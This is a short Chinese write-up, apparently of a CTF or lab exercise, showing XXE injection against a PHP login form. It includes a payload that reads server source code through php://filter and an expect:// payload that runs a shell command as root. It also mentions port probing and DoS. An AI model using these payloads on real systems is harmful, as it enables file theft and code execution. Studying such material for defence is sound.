影响版本
与PHP版本无关
libxml 2.9.0以下
看到一个登录页面
抓个包看看
发现user
与password
都是以xml的格式上传的
使用经典payload测一测
外带DTD实体
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
读取成功
除了用伪协议读文件
利用方式二:还可以作为探针测试内网开放端口
利用方式三:代码执行,需要在特定环境下才能碰到,比如PHP expect模块被加载到了处理XML的应用程序上
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
响应:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
利用方式四:对内网服务器进行DOS攻击,由于可以通过该外部实体访问到内网服务器,因此可以通过该漏洞对内网服务器进行DOS攻击。